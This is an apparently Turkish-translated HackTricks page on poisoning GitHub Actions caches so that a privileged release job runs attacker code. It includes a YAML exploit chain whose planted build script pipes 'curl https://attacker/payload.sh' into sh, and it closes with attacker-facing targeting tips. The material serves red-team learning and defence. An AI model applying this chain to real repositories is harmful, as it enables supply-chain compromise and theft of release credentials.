GH Actions - Cache Poisoning

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

GitHub Actions önbelleği depo düzeyindedir. Önbellek key’ini (veya restore-keys) bilen herhangi bir iş akışı, iş yalnızca permissions: contents: read olsa bile o girdiyi doldurabilir. GitHub önbellekleri iş akışına, event türüne veya güven düzeyine göre ayırmaz; bu nedenle düşük ayrıcalıklı bir işi ele geçiren bir saldırgan, daha sonra ayrıcalıklı bir release işinin geri yükleyeceği bir önbelleği zehirleyebilir. Ultralytics ihlali böylece pull_request_target iş akışından PyPI yayın hattına geçti.

Saldırı temel öğeleri

  • actions/cache hem restore hem save operasyonlarını açığa çıkarır (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Save çağrısı, fork’lardan tetiklenen gerçekten güvenilmeyen pull_request iş akışları hariç, herhangi bir iş için izinlidir.
  • Önbellek girdileri yalnızca key ile tanımlanır. Geniş restore-keys, payloads enjekte etmeyi kolaylaştırır çünkü saldırganın yalnızca bir önekle çakışması yeterlidir.
  • Önbelleğe alınmış dosya sistemi birebir geri yüklenir. Önbellek daha sonra çalıştırılan scripts veya binaries içeriyorsa, saldırgan o yürütme yolunu kontrol eder.

Örnek istismar zinciri

Author iş akışı (pull_request_target) önbelleği zehirledi:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Yetkili workflow, zehirlenmiş cache’i geri yükledi ve çalıştırdı:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

İkinci job artık saldırgan tarafından kontrol edilen kodu, release credentials (PyPI tokens, PATs, cloud deploy keys, etc.) taşırken çalıştırıyor.

Pratik istismar ipuçları

  • Hâlâ cache kaydeden pull_request_target, issue_comment veya bot komutlarıyla tetiklenen workflow’ları hedefleyin; GitHub, runner repoya sadece okuma erişimi olsa bile bunların repository-genel anahtarları üzerine yazmasına izin verir.
  • Güven sınırları arasında yeniden kullanılan deterministik cache anahtarlarını arayın (örneğin, pip-${{ hashFiles('poetry.lock') }}) veya gevşek restore-keys, sonra ayrıcalıklı workflow çalışmadan önce kötü amaçlı tarball’ınızı kaydedin.
  • Logları Cache saved girdileri için izleyin veya kendi cache-kaydetme adımınızı ekleyin; böylece bir sonraki release job payload’u geri yükler ve trojanlanmış script’leri veya ikili dosyaları çalıştırır.

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin